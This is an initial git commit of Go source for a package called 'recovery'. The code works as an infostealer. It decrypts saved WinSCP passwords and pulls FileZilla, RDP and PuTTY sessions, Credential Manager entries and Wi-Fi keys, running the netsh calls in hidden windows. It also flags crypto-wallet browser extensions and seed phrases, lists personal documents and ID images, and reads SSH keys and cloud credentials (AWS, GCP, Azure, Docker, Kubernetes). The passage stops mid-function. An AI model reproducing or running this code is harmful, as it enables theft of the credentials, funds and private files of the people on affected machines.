initial commit

This commit is contained in:
i2p
2026-08-27 11:23:01 -06:00
commit d8ff4ca963
144 changed files with 21051 additions and 0 deletions
@@ -0,0 +1,137 @@
//go:build !windows
package scanner
import (
"encoding/xml"
"os"
"os/exec"
"path/filepath"
"runtime"
"strings"
"recovery/recovery/types"
)
func ScanApps() []types.AppCredentialResult {
var results []types.AppCredentialResult
results = append(results, scanFileZillaUnix()...)
if runtime.GOOS == "darwin" {
results = append(results, scanWiFiDarwin()...)
}
return results
}
type fzServerUnix struct {
XMLName xml.Name `xml:"Server"`
Host string `xml:"Host"`
Port int `xml:"Port"`
Protocol int `xml:"Protocol"`
User string `xml:"User"`
Pass string `xml:"Pass"`
}
type fzSiteManagerUnix struct {
XMLName xml.Name `xml:"FileZilla3"`
Servers []fzServerUnix `xml:"Servers>Server"`
}
type fzRecentServersUnix struct {
XMLName xml.Name `xml:"FileZilla3"`
Servers []fzServerUnix `xml:"RecentServers>Server"`
}
func scanFileZillaUnix() []types.AppCredentialResult {
var results []types.AppCredentialResult
home, _ := os.UserHomeDir()
if home == "" {
return nil
}
fzDir := filepath.Join(home, ".config", "filezilla")
if runtime.GOOS == "darwin" {
fzDir = filepath.Join(home, ".config", "filezilla")
}
for _, file := range []string{"sitemanager.xml", "recentservers.xml"} {
path := filepath.Join(fzDir, file)
data, err := os.ReadFile(path)
if err != nil {
continue
}
var servers []fzServerUnix
if file == "sitemanager.xml" {
var sm fzSiteManagerUnix
if xml.Unmarshal(data, &sm) == nil {
servers = sm.Servers
}
} else {
var rs fzRecentServersUnix
if xml.Unmarshal(data, &rs) == nil {
servers = rs.Servers
}
}
for _, s := range servers {
if s.Host == "" {
continue
}
port := s.Port
if port == 0 {
port = 21
}
protocol := "ftp"
switch s.Protocol {
case 1:
protocol = "sftp"
case 3, 4:
protocol = "ftps"
}
results = append(results, types.AppCredentialResult{
Application: "FileZilla",
Host: s.Host,
Port: port,
Username: s.User,
Password: s.Pass,
Protocol: protocol,
})
}
}
return results
}
func scanWiFiDarwin() []types.AppCredentialResult {
var results []types.AppCredentialResult
out, err := exec.Command("/usr/sbin/networksetup", "-listpreferredwirelessnetworks", "en0").Output()
if err != nil {
return nil
}
var networks []string
for _, line := range strings.Split(string(out), "\n") {
name := strings.TrimSpace(line)
if name == "" || strings.HasPrefix(name, "Preferred networks") {
continue
}
networks = append(networks, name)
}
for _, name := range networks {
pw, err := exec.Command("security", "find-generic-password", "-wa", name, "-D", "AirPort network password").Output()
password := ""
if err == nil {
password = strings.TrimSpace(string(pw))
}
results = append(results, types.AppCredentialResult{
Application: "WiFi",
Host: name,
Password: password,
Protocol: "wifi",
})
}
return results
}
@@ -0,0 +1,614 @@
//go:build windows
package scanner
import (
"encoding/xml"
"fmt"
"os"
"os/exec"
"path/filepath"
"strconv"
"strings"
"syscall"
"unsafe"
"golang.org/x/sys/windows"
"golang.org/x/sys/windows/registry"
"recovery/recovery/types"
)
var (
advapi32 = syscall.NewLazyDLL("advapi32.dll")
procCredEnumerateW = advapi32.NewProc("CredEnumerateW")
procCredFree = advapi32.NewProc("CredFree")
)
const (
credTypeGeneric = 1
credTypeDomainPassword = 2
credTypeDomainCertificate = 3
)
type winCredential struct {
Flags uint32
Type uint32
TargetName *uint16
Comment *uint16
LastWritten syscall.Filetime
CredentialBlobSize uint32
CredentialBlob *byte
Persist uint32
AttributeCount uint32
Attributes uintptr
TargetAlias *uint16
UserName *uint16
}
func ScanApps() []types.AppCredentialResult {
var results []types.AppCredentialResult
results = append(results, scanRDP()...)
results = append(results, scanWinSCP()...)
results = append(results, scanPuTTY()...)
results = append(results, scanFileZilla()...)
results = append(results, scanCredentialManager()...)
results = append(results, scanWiFi()...)
return results
}
// ── RDP ────────────────────────────────────────────────────────────────
func scanRDP() []types.AppCredentialResult {
var results []types.AppCredentialResult
// Registry: saved connection history with usernames
k, err := registry.OpenKey(registry.CURRENT_USER, `Software\Microsoft\Terminal Server Client\Servers`, registry.ENUMERATE_SUB_KEYS|registry.READ)
if err == nil {
defer k.Close()
servers, _ := k.ReadSubKeyNames(-1)
for _, server := range servers {
sk, err := registry.OpenKey(registry.CURRENT_USER, `Software\Microsoft\Terminal Server Client\Servers\`+server, registry.READ)
if err != nil {
continue
}
username, _, _ := sk.GetStringValue("UsernameHint")
sk.Close()
r := types.AppCredentialResult{
Application: "RDP",
Host: server,
Port: 3389,
Username: username,
Protocol: "rdp",
}
// Try to get the password from Credential Manager
pw := credManagerLookup("TERMSRV/" + server)
if pw != "" {
r.Password = pw
}
results = append(results, r)
}
}
// Also scan Credential Manager for TERMSRV/* entries not in the registry
creds := enumCredentials()
seen := make(map[string]bool)
for _, r := range results {
seen[strings.ToLower(r.Host)] = true
}
for _, c := range creds {
target := strings.ToLower(c.target)
if !strings.HasPrefix(target, "termsrv/") {
continue
}
host := c.target[len("TERMSRV/"):]
if seen[strings.ToLower(host)] {
continue
}
results = append(results, types.AppCredentialResult{
Application: "RDP",
Host: host,
Port: 3389,
Username: c.username,
Password: c.password,
Protocol: "rdp",
})
}
// Scan for .rdp files
results = append(results, scanRDPFiles()...)
return results
}
func scanRDPFiles() []types.AppCredentialResult {
var results []types.AppCredentialResult
home, _ := os.UserHomeDir()
if home == "" {
return nil
}
dirs := []string{
filepath.Join(home, "Desktop"),
filepath.Join(home, "Documents"),
filepath.Join(home, "Downloads"),
}
for _, dir := range dirs {
entries, err := os.ReadDir(dir)
if err != nil {
continue
}
for _, e := range entries {
if e.IsDir() || !strings.HasSuffix(strings.ToLower(e.Name()), ".rdp") {
continue
}
path := filepath.Join(dir, e.Name())
data, err := os.ReadFile(path)
if err != nil || len(data) == 0 {
continue
}
r := parseRDPFile(string(data))
if r.Host != "" {
r.Extra = path
results = append(results, r)
}
}
}
return results
}
func parseRDPFile(content string) types.AppCredentialResult {
r := types.AppCredentialResult{
Application: "RDP",
Protocol: "rdp",
Port: 3389,
}
for _, line := range strings.Split(content, "\n") {
line = strings.TrimSpace(line)
parts := strings.SplitN(line, ":", 3)
if len(parts) < 3 {
continue
}
key := strings.ToLower(strings.TrimSpace(parts[0]))
val := strings.TrimSpace(parts[2])
switch key {
case "full address":
if idx := strings.LastIndex(val, ":"); idx > 0 {
if p, err := strconv.Atoi(val[idx+1:]); err == nil {
r.Host = val[:idx]
r.Port = p
continue
}
}
r.Host = val
case "username":
r.Username = val
case "server port":
if p, err := strconv.Atoi(val); err == nil {
r.Port = p
}
}
}
return r
}
// ── WinSCP ─────────────────────────────────────────────────────────────
func scanWinSCP() []types.AppCredentialResult {
var results []types.AppCredentialResult
k, err := registry.OpenKey(registry.CURRENT_USER, `Software\Martin Prikryl\WinSCP 2\Sessions`, registry.ENUMERATE_SUB_KEYS|registry.READ)
if err != nil {
return nil
}
defer k.Close()
sessions, _ := k.ReadSubKeyNames(-1)
for _, sess := range sessions {
if sess == "Default%20Settings" {
continue
}
sk, err := registry.OpenKey(registry.CURRENT_USER, `Software\Martin Prikryl\WinSCP 2\Sessions\`+sess, registry.READ)
if err != nil {
continue
}
hostname, _, _ := sk.GetStringValue("HostName")
username, _, _ := sk.GetStringValue("UserName")
portNum, _, _ := sk.GetIntegerValue("PortNumber")
encPassword, _, _ := sk.GetStringValue("Password")
fsProtocol, _, _ := sk.GetIntegerValue("FSProtocol")
sk.Close()
if hostname == "" {
continue
}
port := int(portNum)
if port == 0 {
port = 22
}
protocol := "sftp"
switch fsProtocol {
case 0:
protocol = "sftp"
case 5:
protocol = "ftp"
case 1:
protocol = "scp"
}
password := ""
if encPassword != "" {
password = decryptWinSCPPassword(encPassword, hostname, username)
}
results = append(results, types.AppCredentialResult{
Application: "WinSCP",
Host: hostname,
Port: port,
Username: username,
Password: password,
Protocol: protocol,
})
}
return results
}
func decryptWinSCPPassword(hex, hostname, username string) string {
key := username + hostname
decNextChar := func(s string, idx int) (byte, int) {
if idx+2 > len(s) {
return 0, idx + 2
}
a, err1 := strconv.ParseUint(string(s[idx]), 16, 8)
b, err2 := strconv.ParseUint(string(s[idx+1]), 16, 8)
if err1 != nil || err2 != nil {
return 0, idx + 2
}
return byte(0xFF ^ ((a<<4 | b) ^ 0xA3)), idx + 2
}
idx := 0
flag, idx := decNextChar(hex, idx)
if flag == 0xFF {
return ""
}
_, idx = decNextChar(hex, idx) // skip unused byte
length, idx := decNextChar(hex, idx)
delLen, idx := decNextChar(hex, idx)
for i := 0; i < int(delLen); i++ {
_, idx = decNextChar(hex, idx)
}
raw := make([]byte, 0, int(length))
for i := 0; i < int(length); i++ {
c, newIdx := decNextChar(hex, idx)
idx = newIdx
raw = append(raw, c)
}
if len(key) > 0 {
decrypted := make([]byte, len(raw))
for i, c := range raw {
decrypted[i] = c ^ key[i%len(key)]
}
return string(decrypted)
}
return string(raw)
}
// ── PuTTY ──────────────────────────────────────────────────────────────
func scanPuTTY() []types.AppCredentialResult {
var results []types.AppCredentialResult
k, err := registry.OpenKey(registry.CURRENT_USER, `Software\SimonTatham\PuTTY\Sessions`, registry.ENUMERATE_SUB_KEYS|registry.READ)
if err != nil {
return nil
}
defer k.Close()
sessions, _ := k.ReadSubKeyNames(-1)
for _, sess := range sessions {
if sess == "Default%20Settings" {
continue
}
sk, err := registry.OpenKey(registry.CURRENT_USER, `Software\SimonTatham\PuTTY\Sessions\`+sess, registry.READ)
if err != nil {
continue
}
hostname, _, _ := sk.GetStringValue("HostName")
username, _, _ := sk.GetStringValue("UserName")
portNum, _, _ := sk.GetIntegerValue("PortNumber")
protocol, _, _ := sk.GetStringValue("Protocol")
keyFile, _, _ := sk.GetStringValue("PublicKeyFile")
proxyHost, _, _ := sk.GetStringValue("ProxyHost")
sk.Close()
if hostname == "" {
continue
}
port := int(portNum)
if port == 0 {
port = 22
}
if protocol == "" {
protocol = "ssh"
}
extra := ""
if keyFile != "" || proxyHost != "" {
parts := []string{}
if keyFile != "" {
parts = append(parts, "key:"+keyFile)
}
if proxyHost != "" {
parts = append(parts, "proxy:"+proxyHost)
}
extra = strings.Join(parts, "; ")
}
// URL-decode session name for display purposes
decodedName := strings.ReplaceAll(sess, "%20", " ")
_ = decodedName
results = append(results, types.AppCredentialResult{
Application: "PuTTY",
Host: hostname,
Port: port,
Username: username,
Protocol: protocol,
Extra: extra,
})
}
return results
}
// ── FileZilla ──────────────────────────────────────────────────────────
type fzServer struct {
XMLName xml.Name `xml:"Server"`
Host string `xml:"Host"`
Port int `xml:"Port"`
Protocol int `xml:"Protocol"`
User string `xml:"User"`
Pass string `xml:"Pass"`
}
type fzSiteManager struct {
XMLName xml.Name `xml:"FileZilla3"`
Servers []fzServer `xml:"Servers>Server"`
}
type fzRecentServers struct {
XMLName xml.Name `xml:"FileZilla3"`
Servers []fzServer `xml:"RecentServers>Server"`
}
func scanFileZilla() []types.AppCredentialResult {
var results []types.AppCredentialResult
appdata := os.Getenv("APPDATA")
if appdata == "" {
return nil
}
fzDir := filepath.Join(appdata, "FileZilla")
for _, file := range []string{"sitemanager.xml", "recentservers.xml"} {
path := filepath.Join(fzDir, file)
data, err := os.ReadFile(path)
if err != nil {
continue
}
var servers []fzServer
if file == "sitemanager.xml" {
var sm fzSiteManager
if xml.Unmarshal(data, &sm) == nil {
servers = sm.Servers
}
} else {
var rs fzRecentServers
if xml.Unmarshal(data, &rs) == nil {
servers = rs.Servers
}
}
for _, s := range servers {
if s.Host == "" {
continue
}
port := s.Port
if port == 0 {
port = 21
}
protocol := "ftp"
switch s.Protocol {
case 1:
protocol = "sftp"
case 3, 4:
protocol = "ftps"
}
results = append(results, types.AppCredentialResult{
Application: "FileZilla",
Host: s.Host,
Port: port,
Username: s.User,
Password: s.Pass,
Protocol: protocol,
})
}
}
return results
}
// ── Windows Credential Manager ─────────────────────────────────────────
type credEntry struct {
target string
username string
password string
credType uint32
}
func enumCredentials() []credEntry {
var count uint32
var credsPtr uintptr
ret, _, _ := procCredEnumerateW.Call(
0,
0,
uintptr(unsafe.Pointer(&count)),
uintptr(unsafe.Pointer(&credsPtr)),
)
if ret == 0 || count == 0 {
return nil
}
defer procCredFree.Call(credsPtr)
var results []credEntry
for i := uint32(0); i < count; i++ {
entryPtr := *(*uintptr)(unsafe.Pointer(credsPtr + uintptr(i)*unsafe.Sizeof(uintptr(0))))
c := (*winCredential)(unsafe.Pointer(entryPtr))
target := windows.UTF16PtrToString(c.TargetName)
username := ""
if c.UserName != nil {
username = windows.UTF16PtrToString(c.UserName)
}
password := ""
if c.CredentialBlobSize > 0 && c.CredentialBlob != nil {
blob := unsafe.Slice(c.CredentialBlob, c.CredentialBlobSize)
password = string(blob)
}
results = append(results, credEntry{
target: target,
username: username,
password: password,
credType: c.Type,
})
}
return results
}
func credManagerLookup(target string) string {
target = strings.ToLower(target)
for _, c := range enumCredentials() {
if strings.ToLower(c.target) == target {
return c.password
}
}
return ""
}
func scanCredentialManager() []types.AppCredentialResult {
var results []types.AppCredentialResult
for _, c := range enumCredentials() {
target := strings.ToLower(c.target)
// Skip TERMSRV entries (already handled by RDP scanner)
if strings.HasPrefix(target, "termsrv/") {
continue
}
// Skip entries with no useful data
if c.username == "" && c.password == "" {
continue
}
typeName := "generic"
switch c.credType {
case credTypeDomainPassword:
typeName = "domain"
case credTypeDomainCertificate:
typeName = "certificate"
}
results = append(results, types.AppCredentialResult{
Application: "CredManager",
Host: c.target,
Username: c.username,
Password: c.password,
Protocol: typeName,
})
}
return results
}
// ── WiFi ───────────────────────────────────────────────────────────────
func scanWiFi() []types.AppCredentialResult {
var results []types.AppCredentialResult
cmd := exec.Command("netsh", "wlan", "show", "profiles")
cmd.SysProcAttr = &syscall.SysProcAttr{HideWindow: true, CreationFlags: windows.CREATE_NO_WINDOW}
out, err := cmd.Output()
if err != nil {
return nil
}
var profiles []string
for _, line := range strings.Split(string(out), "\n") {
line = strings.TrimSpace(line)
if idx := strings.Index(line, ": "); idx >= 0 {
lower := strings.ToLower(line[:idx])
if strings.Contains(lower, "all user profile") || strings.Contains(lower, "profil") {
name := strings.TrimSpace(line[idx+2:])
if name != "" {
profiles = append(profiles, name)
}
}
}
}
for _, name := range profiles {
cmd := exec.Command("netsh", "wlan", "show", "profile", fmt.Sprintf("name=%s", name), "key=clear")
cmd.SysProcAttr = &syscall.SysProcAttr{HideWindow: true, CreationFlags: windows.CREATE_NO_WINDOW}
out, err := cmd.Output()
if err != nil {
continue
}
password := ""
auth := ""
for _, line := range strings.Split(string(out), "\n") {
line = strings.TrimSpace(line)
if idx := strings.Index(line, ": "); idx >= 0 {
lower := strings.ToLower(line[:idx])
val := strings.TrimSpace(line[idx+2:])
if strings.Contains(lower, "key content") || strings.Contains(lower, "contenu") {
password = val
} else if strings.Contains(lower, "authentication") || strings.Contains(lower, "authentification") {
auth = val
}
}
}
results = append(results, types.AppCredentialResult{
Application: "WiFi",
Host: name,
Username: auth,
Password: password,
Protocol: "wifi",
})
}
return results
}
@@ -0,0 +1,147 @@
package scanner
import (
"encoding/json"
"os"
"path/filepath"
"strings"
"recovery/recovery/browser"
"recovery/recovery/types"
)
var knownWalletExtensions = map[string]string{
"bhghoamapcdpbohphigoooaddinpkbai": "Authenticator",
"fhbohimaelbohpjbbldcngcnapndodjp": "Binance",
"fihkakfobkmkjojpchpfgcmhfjnmnfpi": "Bitapp",
"aodkkagnadcbobfpggfnjeongemjbjca": "BoltX",
"aeachknmefphepccionboohckonoeemg": "Coin98",
"hnfanknocfeofbddgcijnmhnfnkdnaad": "Coinbase",
"agoakfejjabomempkjlepdflaleeobhb": "Core",
"pnlfjmlcjdjgkddecgincndfgegkecke": "Crocobit",
"blnieiiffboillknjnepogjhkgnoapac": "Equal",
"cgeeodpfagjceefieflmdfphplkenlfk": "Ever",
"aholpfdialjgjfhomihkjbmgjidlcdno": "ExodusWeb3",
"ebfidpplhabeedpnhjnobghokpiioolj": "Fewcha",
"cjmkndjhnagcfbpiemnkdpomccnjblmj": "Finnie",
"hpglfhgfnhbgpjdenjgmdgoeiappafln": "Guarda",
"nanjmdknhkinifnkgdcggcfnhdaammmj": "Guild",
"fnnegphlobjdpkhecapkijjdkgcjhkib": "Harmony",
"flpiciilemghbmfalicajoolhkkenfel": "Iconex",
"cjelfplplebdjjenllpjcblmjkfcffne": "Jaxx Liberty",
"jblndlipeogpafnldhgmapagcccfchpi": "Kaikas",
"pdadjkfkgcafgbceimcpbkalnfnepbnk": "KardiaChain",
"dmkamcknogkgcdfhhbddcghachkejeap": "Keplr",
"kpfopkelmapcoipemfendmdcghnegimn": "Liquality",
"nlbmnnijcnlegkjjpcfjclmcfggfefdm": "MEWCX",
"dngmlblcodfobpdpecaadgfbcggfjfnm": "MaiarDEFI",
"efbglgofoippbgcjepnhiblaibcnclgk": "Martian",
"afbcbjpbpfadlkmhmclhkeeodmamcflc": "Math",
"nkbihfbeogaeaoehlefnkodbefgpgknn": "Metamask",
"ejbalbakoplchlghecdalmeeeajnimhm": "Metamask",
"fcckkdbjnoikooededlapcalpionmalo": "Mobox",
"lpfcbjknijpeeillifnkikgncikgfhdo": "Nami",
"jbdaocneiiinmjbjlgalhcelgbejmnid": "Nifty",
"fhilaheimglignddkjgofkcbgekhenbh": "Oxygen",
"mgffkfbidihjpoaomajlbgchddlicgpn": "PaliWallet",
"ejjladinnckdgjemekebdpeokbikhfci": "Petra",
"bfnaelmomeimhlpmgjnjophhpkkoljpa": "Phantom",
"phkbamefinggmakgklpkljjmgibohnba": "Pontem",
"fnjhmkhhmkbjkkabndcnnogagogbneec": "Ronin",
"lgmpcpglpngdoalbgeoldeajfclnhafa": "Safepal",
"nkddgncdjgjfcddamfgcmfnlhccnimig": "Saturn",
"pocmplpaccanhmnllbbkpgfliimjljgo": "Slope",
"bhhhlbepdkbapadjdnnojkbgioiodbic": "Solflare",
"fhmfendgdocmcbmfikdcogofphimnkno": "Sollet",
"mfhbebgoclkghebffdldpobeajmbecfk": "Starcoin",
"cmndjbecilbocjfkibfbifhngkdmjgog": "Swash",
"ookjlbkiijinhpmnjffcofjonbfbgaoc": "TempleTezos",
"aiifbnbfobpmeekipheeijimdpnlpgpp": "TerraStation",
"mfgccjchihfkkindfppnaooecgfneiii": "Tokenpocket",
"nphplpgoakhhjchkkhmiggakijnkhfnd": "Ton",
"ibnejdfjmmkpcnlpebklmnkoeoihofec": "Tron",
"egjidjbpglichdcondbcbdnbeeppgdph": "Trust Wallet",
"amkmjjmmflddogmhpjloimipbofnfjih": "Wombat",
"hmeobnfnfcmdkdcmlblgagmfpfboieaf": "XDEFI",
"eigblbgjknlfbajkfhopmcojidlgcehm": "XMR.PT",
"bocpokimicclpaiekenaeelehdjllofo": "XinPay",
"ffnbelfdoeiohenkjibnmadjiehjhajb": "Yoroi",
"kncchdigobghenbbaddojjnnaogfppfj": "iWallet",
}
func ScanExtensions() []types.ExtensionResult {
var results []types.ExtensionResult
for _, cfg := range browser.Browsers {
if cfg.IsFirefox {
continue
}
profiles := browser.FindProfileDirs(cfg)
for _, profile := range profiles {
extDir := filepath.Join(profile.Path, "Extensions")
entries, err := os.ReadDir(extDir)
if err != nil {
continue
}
for _, e := range entries {
if !e.IsDir() {
continue
}
extID := e.Name()
// Skip internal Chromium marker dirs
if strings.HasPrefix(extID, "_") {
continue
}
extIDDir := filepath.Join(extDir, extID)
versionDirs, err := os.ReadDir(extIDDir)
if err != nil {
continue
}
for _, vd := range versionDirs {
if !vd.IsDir() {
continue
}
versionPath := filepath.Join(extIDDir, vd.Name())
name, version := readManifestBasics(filepath.Join(versionPath, "manifest.json"))
category := ""
if walletName, ok := knownWalletExtensions[extID]; ok {
category = "wallet"
if name == "" {
name = walletName
}
}
results = append(results, types.ExtensionResult{
ExtID: extID,
Name: name,
Version: version,
Browser: cfg.Name,
Profile: profile.Name,
Path: versionPath,
Category: category,
})
break // first version directory only
}
}
}
}
return results
}
type manifestBasics struct {
Name string `json:"name"`
Version string `json:"version"`
}
func readManifestBasics(path string) (name, version string) {
data, err := os.ReadFile(path)
if err != nil {
return "", ""
}
var m manifestBasics
if err := json.Unmarshal(data, &m); err != nil {
return "", ""
}
if strings.HasPrefix(m.Name, "__MSG_") {
m.Name = ""
}
return m.Name, m.Version
}
@@ -0,0 +1,170 @@
package scanner
import (
"fmt"
"os"
"path/filepath"
"strings"
"recovery/recovery/types"
)
const (
maxFiles = 500
maxScanDepth = 3
maxFileSizeList = 100 * 1024 * 1024 // 100 MB — skip larger files from listing
MaxFetchSize = 10 * 1024 * 1024 // 10 MB — max content returned per fetch
)
var targetExtensions = map[string]bool{
// Office documents
".docx": true, ".doc": true, ".docm": true,
".xlsx": true, ".xls": true, ".xlsm": true,
".pptx": true, ".ppt": true, ".pptm": true,
".odt": true, ".ods": true, ".odp": true,
// Plain text / markup
".txt": true, ".rtf": true, ".md": true,
".csv": true, ".tsv": true,
// PDFs
".pdf": true,
// Archives (metadata only — content not fetched automatically)
".zip": true, ".7z": true, ".rar": true, ".tar": true, ".gz": true,
// Credential / key files
".kdbx": true, ".key": true, ".pem": true,
".p12": true, ".pfx": true, ".ppk": true, ".jks": true,
// Dotenv — commonly stores API keys and secrets
".env": true,
// Images — IDs, passports, screenshots of credentials, seed phrases
".jpg": true, ".jpeg": true, ".png": true, ".gif": true,
".bmp": true, ".webp": true, ".tiff": true, ".tif": true,
".heic": true, ".heif": true,
}
// seedPhraseLengths are the BIP39 word counts we consider suspicious.
var seedPhraseLengths = map[int]bool{12: true, 20: true, 24: true}
type scanLocation struct {
subPath string
label string
}
// ScanFiles walks common user locations and returns matching file metadata.
// At most maxFiles results are returned. Files larger than maxFileSizeList are skipped.
func ScanFiles() []types.FileResult {
home, _ := os.UserHomeDir()
if home == "" {
return nil
}
var results []types.FileResult
seen := make(map[string]bool)
for _, loc := range getScanLocations() {
dir := filepath.Join(home, loc.subPath)
scanDir(dir, loc.label, 0, &results, seen)
if len(results) >= maxFiles {
break
}
}
return results
}
func scanDir(dir, label string, depth int, results *[]types.FileResult, seen map[string]bool) {
if depth > maxScanDepth || len(*results) >= maxFiles {
return
}
entries, err := os.ReadDir(dir)
if err != nil {
return
}
for _, e := range entries {
if len(*results) >= maxFiles {
return
}
name := e.Name()
// skip hidden / system files
if strings.HasPrefix(name, ".") || strings.HasPrefix(name, "$") {
continue
}
fullPath := filepath.Join(dir, name)
if e.IsDir() {
scanDir(fullPath, label, depth+1, results, seen)
continue
}
ext := strings.ToLower(filepath.Ext(name))
if !targetExtensions[ext] {
continue
}
if seen[fullPath] {
continue
}
seen[fullPath] = true
info, err := e.Info()
if err != nil {
continue
}
if info.Size() > maxFileSizeList {
continue
}
var tags []string
if contentTags := contentFileTags(fullPath, ext, info.Size()); len(contentTags) > 0 {
tags = contentTags
}
*results = append(*results, types.FileResult{
Path: fullPath,
Name: name,
Ext: ext,
Size: info.Size(),
Modified: info.ModTime().Unix(),
Dir: label,
Tags: tags,
})
}
}
// looksLikeSeedLine returns true if every word is 38 lowercase letters.
// BIP39 words are exclusively lowercase az with lengths in that range.
func looksLikeSeedLine(words []string) bool {
if !seedPhraseLengths[len(words)] {
return false
}
for _, w := range words {
if len(w) < 3 || len(w) > 8 {
return false
}
for _, c := range w {
if c < 'a' || c > 'z' {
return false
}
}
}
return true
}
// FetchFile reads a file and returns its raw bytes.
// Returns an error if the file exceeds MaxFetchSize or does not exist.
func FetchFile(path string) ([]byte, error) {
info, err := os.Stat(path)
if err != nil {
return nil, fmt.Errorf("file not found")
}
if info.IsDir() {
return nil, fmt.Errorf("path is a directory")
}
if info.Size() > MaxFetchSize {
return nil, fmt.Errorf("file too large (%d bytes, max %d)", info.Size(), MaxFetchSize)
}
return os.ReadFile(path)
}
@@ -0,0 +1,14 @@
//go:build !windows
package scanner
func getScanLocations() []scanLocation {
return []scanLocation{
{"Desktop", "Desktop"},
{"Documents", "Documents"},
{"Downloads", "Downloads"},
{".local/share", ".local/share"},
{"Dropbox", "Dropbox"},
{"snap", "Snap"},
}
}
@@ -0,0 +1,17 @@
//go:build windows
package scanner
func getScanLocations() []scanLocation {
return []scanLocation{
{"Desktop", "Desktop"},
{"Documents", "Documents"},
{"Downloads", "Downloads"},
{`OneDrive\Desktop`, "OneDrive/Desktop"},
{`OneDrive\Documents`, "OneDrive/Documents"},
{`OneDrive - Personal\Desktop`, "OneDrive/Desktop"},
{`OneDrive - Personal\Documents`, "OneDrive/Documents"},
{`OneDrive - Business\Desktop`, "OneDrive/Desktop"},
{`OneDrive - Business\Documents`, "OneDrive/Documents"},
}
}
@@ -0,0 +1,313 @@
package scanner
import (
"os"
"path/filepath"
"runtime"
"strings"
"recovery/recovery/types"
)
const maxKeyFileSize = 512 * 1024 // 512KB
func gcpConfigDir(home string) string {
if runtime.GOOS == "windows" {
return filepath.Join(home, "AppData", "Roaming", "gcloud")
}
return filepath.Join(home, ".config", "gcloud")
}
func ScanKeys() []types.KeyResult {
var results []types.KeyResult
home, _ := os.UserHomeDir()
if home == "" {
return nil
}
results = append(results, scanSSHKeys(home)...)
results = append(results, scanAWSCredentials(home)...)
results = append(results, scanGCPCredentials(home)...)
results = append(results, scanAzureCredentials(home)...)
results = append(results, scanDockerCredentials(home)...)
results = append(results, scanKubeConfig(home)...)
results = append(results, scanEnvFiles(home)...)
return results
}
func scanSSHKeys(home string) []types.KeyResult {
sshDir := filepath.Join(home, ".ssh")
entries, err := os.ReadDir(sshDir)
if err != nil {
return nil
}
var results []types.KeyResult
for _, e := range entries {
if e.IsDir() {
continue
}
name := e.Name()
if name == "known_hosts" || name == "authorized_keys" || strings.HasSuffix(name, ".pub") || name == "config" {
continue
}
path := filepath.Join(sshDir, name)
info, err := e.Info()
if err != nil || info.Size() > maxKeyFileSize || info.Size() == 0 {
continue
}
data, err := os.ReadFile(path)
if err != nil {
continue
}
content := string(data)
if isPrivateKey(content) {
results = append(results, types.KeyResult{
Type: "ssh",
Name: name,
Path: path,
Size: info.Size(),
Content: content,
})
}
}
configPath := filepath.Join(sshDir, "config")
if info, err := os.Stat(configPath); err == nil && info.Size() < maxKeyFileSize {
if data, err := os.ReadFile(configPath); err == nil && len(data) > 0 {
results = append(results, types.KeyResult{
Type: "ssh_config",
Name: "config",
Path: configPath,
Size: info.Size(),
Content: string(data),
})
}
}
return results
}
func isPrivateKey(content string) bool {
markers := []string{
"-----BEGIN OPENSSH PRIVATE KEY-----",
"-----BEGIN RSA PRIVATE KEY-----",
"-----BEGIN EC PRIVATE KEY-----",
"-----BEGIN DSA PRIVATE KEY-----",
"-----BEGIN PRIVATE KEY-----",
"-----BEGIN ENCRYPTED PRIVATE KEY-----",
"PuTTY-User-Key-File-",
}
for _, m := range markers {
if strings.Contains(content, m) {
return true
}
}
return false
}
func scanAWSCredentials(home string) []types.KeyResult {
var results []types.KeyResult
awsDir := filepath.Join(home, ".aws")
for _, name := range []string{"credentials", "config"} {
path := filepath.Join(awsDir, name)
info, err := os.Stat(path)
if err != nil || info.Size() > maxKeyFileSize || info.Size() == 0 {
continue
}
data, err := os.ReadFile(path)
if err != nil {
continue
}
results = append(results, types.KeyResult{
Type: "aws",
Name: name,
Path: path,
Size: info.Size(),
Content: string(data),
})
}
return results
}
func scanGCPCredentials(home string) []types.KeyResult {
var results []types.KeyResult
gcpDir := gcpConfigDir(home)
candidates := []string{
filepath.Join(gcpDir, "application_default_credentials.json"),
filepath.Join(gcpDir, "credentials.db"),
filepath.Join(gcpDir, "properties"),
}
for _, dir := range []string{
filepath.Join(home, "Desktop"),
filepath.Join(home, "Documents"),
filepath.Join(home, "Downloads"),
} {
entries, err := os.ReadDir(dir)
if err != nil {
continue
}
for _, e := range entries {
if e.IsDir() {
continue
}
name := e.Name()
if strings.HasSuffix(name, ".json") && (strings.Contains(name, "service") || strings.Contains(name, "gcp") || strings.Contains(name, "google")) {
candidates = append(candidates, filepath.Join(dir, name))
}
}
}
for _, path := range candidates {
info, err := os.Stat(path)
if err != nil || info.Size() > maxKeyFileSize || info.Size() == 0 {
continue
}
data, err := os.ReadFile(path)
if err != nil {
continue
}
content := string(data)
if strings.Contains(content, "client_secret") || strings.Contains(content, "private_key") || strings.Contains(content, "type") {
results = append(results, types.KeyResult{
Type: "gcp",
Name: filepath.Base(path),
Path: path,
Size: info.Size(),
Content: content,
})
}
}
return results
}
func scanAzureCredentials(home string) []types.KeyResult {
var results []types.KeyResult
azureDir := filepath.Join(home, ".azure")
candidates := []string{
filepath.Join(azureDir, "accessTokens.json"),
filepath.Join(azureDir, "azureProfile.json"),
filepath.Join(azureDir, "msal_token_cache.json"),
filepath.Join(azureDir, "service_principal_entries.json"),
}
for _, path := range candidates {
info, err := os.Stat(path)
if err != nil || info.Size() > maxKeyFileSize || info.Size() == 0 {
continue
}
data, err := os.ReadFile(path)
if err != nil {
continue
}
results = append(results, types.KeyResult{
Type: "azure",
Name: filepath.Base(path),
Path: path,
Size: info.Size(),
Content: string(data),
})
}
return results
}
func scanDockerCredentials(home string) []types.KeyResult {
var results []types.KeyResult
path := filepath.Join(home, ".docker", "config.json")
info, err := os.Stat(path)
if err != nil || info.Size() > maxKeyFileSize || info.Size() == 0 {
return nil
}
data, err := os.ReadFile(path)
if err != nil {
return nil
}
if strings.Contains(string(data), "auths") {
results = append(results, types.KeyResult{
Type: "docker",
Name: "config.json",
Path: path,
Size: info.Size(),
Content: string(data),
})
}
return results
}
func scanKubeConfig(home string) []types.KeyResult {
var results []types.KeyResult
path := filepath.Join(home, ".kube", "config")
info, err := os.Stat(path)
if err != nil || info.Size() > maxKeyFileSize || info.Size() == 0 {
return nil
}
data, err := os.ReadFile(path)
if err != nil {
return nil
}
results = append(results, types.KeyResult{
Type: "kubernetes",
Name: "config",
Path: path,
Size: info.Size(),
Content: string(data),
})
return results
}
func scanEnvFiles(home string) []types.KeyResult {
var results []types.KeyResult
